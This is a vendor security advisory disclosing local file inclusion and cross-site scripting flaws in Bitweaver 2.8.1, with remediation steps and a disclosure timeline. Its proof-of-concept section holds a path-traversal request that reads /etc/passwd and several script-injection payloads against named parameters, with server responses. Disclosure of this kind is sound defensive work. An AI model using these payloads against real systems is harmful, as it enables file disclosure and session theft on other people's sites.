Bitweaver 2.8.1 - Multiple Vulnerabilities

Trustwave SpiderLabs Security Advisory TWSL2012-016:

Multiple Vulnerabilities in Bitweaver



Published: 10/23/2012

Version: 1.0



Vendor: Bitweaver (http://www.bitweaver.org/)

Product: Bitweaver

Version affected: 2.8.1 and earlier versions



Product description:

Bitweaver is a free and open source web application framework and content

management system. Bitweaver is written in PHP and uses Firebird as a

database backend.



Credit: David Aaron and Jonathan Claudius of Trustwave SpiderLabs



Finding 1: Local File Inclusion Vulnerability

CVE: CVE-2012-5192



The 'overlay_type' parameter in the 'gmap/view_overlay.php' page in

Bitweaver is vulnerable to a local file inclusion vulnerability.



This vulnerability can be demonstrated by traversing to a known readable

path on the web server file system.



Example:



Performing LFI on 'overlay_type' parameter



#Request



http://A.B.C.D/bitweaver/gmap/view_overlay.php?overlay_type=..%2F..%2F..%2F..%2F..%2F..%2F..%2F/etc/passwd%00



#Response



root:x:0:0:root:/root:/bin/bash

<snip>



Finding 2: Multiple XSS Vulnerabilities in Bitweaver

CVE: CVE-2012-5193 



Multiple cross-site scripting (XSS) vulnerabilities have been discovered

that allow remote unauthenticated users to run arbitrary scripts on the

system.



Example:



The following Proof of Concepts illustrate that Bitweaver 2.8.1 is

vulnerable to XSS.



Example(s):



1. Performing XSS on stats/index.php



#Request



GET /bitweaver/stats/index.php/%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E HTTP/1.0



#Response



HTTP/1.1 200 OK

Date: Tue, 17 Apr 2012 15:42:34 GMT

Server: Apache/2.2.20 (Ubuntu)

X-Powered-By: PHP/5.3.6-13ubuntu3.6

Set-Cookie: BWSESSION=4gmfnd86ahtvn34v5oejgivvh3; path=/bitweaver/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=utf-8

[truncated due to length]



2. Performing XSS on /newsletters/edition.php



#Request



GET /bitweaver/newsletters/edition.php/%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E HTTP/1.0



#Response



HTTP/1.1 200 OK

Date: Tue, 17 Apr 2012 15:42:02 GMT

Server: Apache/2.2.20 (Ubuntu)

X-Powered-By: PHP/5.3.6-13ubuntu3.6

Set-Cookie: BWSESSION=ajdjp797r7atral75rmlhcgs63; path=/bitweaver/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=utf-8

[truncated due to length]



3. Performing XSS on the 'username' parameter available on /users/



#Request



POST /bitweaver/users/remind_password.php HTTP/1.1

Host: A.B.C.D

Content-Type: application/x-www-form-urlencoded

Content-Length: 192



username=%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E&remind=Reset+%28password%29



#Response



HTTP/1.1 200 OK

Date: Tue, 17 Apr 2012 15:53:11 GMT

Server: Apache/2.2.20 (Ubuntu)

X-Powered-By: PHP/5.3.6-13ubuntu3.6

Set-Cookie: BWSESSION=i0ktqmt3497thag552t9ds78v4; path=/bitweaver/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Length: 15974

[truncated due to length]



<snip>

Invalid or unknown username: ">alert('XSS');</p></div>Please follow the instructions in the email.

<snip>



4. Performing XSS on the 'days' parameter on /stats/index.php



#Request



POST /bitweaver/stats/index.php HTTP/1.1

Host: A.B.C.D

Content-Type: application/x-www-form-urlencoded

Content-Length: 177



days=%22%3E%3Cscript%3Ealert('XSS')%3B%3C%2Fscript%3E&pv_chart=Display



#Response

HTTP/1.1 200 OK

Date: Tue, 17 Apr 2012 15:55:53 GMT

Server: Apache/2.2.20 (Ubuntu)

X-Powered-By: PHP/5.3.6-13ubuntu3.6

Set-Cookie: BWSESSION=dqdvcnmql8jhngp0tphseh1qh4; path=/bitweaver/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Length: 24778

[truncated due to length]



<snip>

<img src="/stats/pv_chart.php?days="><script>alert('XSS');</script>" alt="Site Usage Statistics" />

<snip>



5. Performing XSS on the 'login' parameter on /users/register.php. (try

entering "><IFRAME src="https://www.trustwave.com" height="1000px"

width="1000px"> into the "Username field"):



http://A.B.C.D/bitweaver/users/register.php





6. Performing XSS on the 'highlight' parameter:



#Request



GET /bitweaver/?highlight=%2522%253E%253Cscript%253Ealert('XSS')%253B%253C%252Fscript%253E HTTP/1.0



#Response



HTTP/1.1 200 OK

Date: Tue, 17 Apr 2012 15:59:09 GMT

Server: Apache/2.2.20 (Ubuntu)

X-Powered-By: PHP/5.3.6-13ubuntu3.6

Set-Cookie: BWSESSION=ama93jqlojmi385plkft5opl64; path=/bitweaver/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=utf-8

[truncated due to length]



Remediation Steps:

The vendor has released a fix to address the Local File Inclusion

vulnerability (finding 1) and several of the Cross-Site Scripting

vulnerabilities (finding 2) in Bitweaver 3.1. However, additional fixes for

the Cross-site Scripting vulnerabilities were made on commit c3bef6f in the

development branch.  Users are recommended to download the latest release

of Bitweaver on http://github.com/bitweaver to address the above issues.



These issue can also be mitigated with the use of technologies, such as Web

Application Firewalls (WAF) or Intrusion Prevention Systems (IPS). Often,

Vulnerability Scanners and Intrusion Detection Systems (IDS) can detect the

presence of Local File Inclusion vulnerabilities and XSS. Trustwave

technologies that address this issue include the following.



ModSecurity (http://www.modsecurity.org/) has added rules to the commercial

rules feed for these issues, available as part of the SpiderLabs

ModSecurity rules feed.



Trustwave's vulnerability scanning solution, TrustKeeper

(https://www.trustwave.com/trustKeeper.php), has been updated to detect

affected versions.



References

http://www.bitweaver.org/

http://blog.spiderlabs.com/



Vendor Communication Timeline:

04/26/12 - Initial communications with vendor

05/14/12 - Vulnerability disclosed to vendor

05/30/12 - Vendor acknowledges version 3.0 fixes issues

06/07/12 - Contact vendor regarding incomplete fixes in 3.0

09/07/12 - Vendor publishes version 3.1

10/10/12 - Contact vendor regarding incomplete fixes in 3.1

10/23/12 - Advisory published



About Trustwave:

Trustwave is the leading provider of on-demand and subscription-based

information security and payment card industry compliance management

solutions to businesses and government entities throughout the world. For

organizations faced with today's challenging data security and compliance

environment, Trustwave provides a unique approach with comprehensive

solutions that include its flagship TrustKeeper compliance management

software and other proprietary security solutions. Trustwave has helped

thousands of organizations--ranging from Fortune 500 businesses and large

financial institutions to small and medium-sized retailers--manage

compliance and secure their network infrastructure, data communications and

critical information assets. Trustwave is headquartered in Chicago with

offices throughout North America, South America, Europe, Africa, China and

Australia. For more information, visit https://www.trustwave.com



About Trustwave SpiderLabs:

SpiderLabs(R) is the advanced security team at Trustwave focused on

application security, incident response, penetration testing, physical

security and security research. The team has performed over a thousand

incident investigations, thousands of penetration tests and hundreds of

application security tests globally. In addition, the SpiderLabs Research

team provides intelligence through bleeding-edge research and proof of

concept tool development to enhance Trustwave's products and services.

https://www.trustwave.com/spiderlabs



Disclaimer:

The information provided in this advisory is provided "as is" without

warranty of any kind. Trustwave disclaims all warranties, either express or

implied, including the warranties of merchantability and fitness for a

particular purpose. In no event shall Trustwave or its suppliers be liable

for any damages whatsoever including direct, indirect, incidental,

consequential, loss of business profits or special damages, even if

Trustwave or its suppliers have been advised of the possibility of such

damages. Some states do not allow the exclusion or limitation of liability

for consequential or incidental damages so the foregoing limitation may not

apply.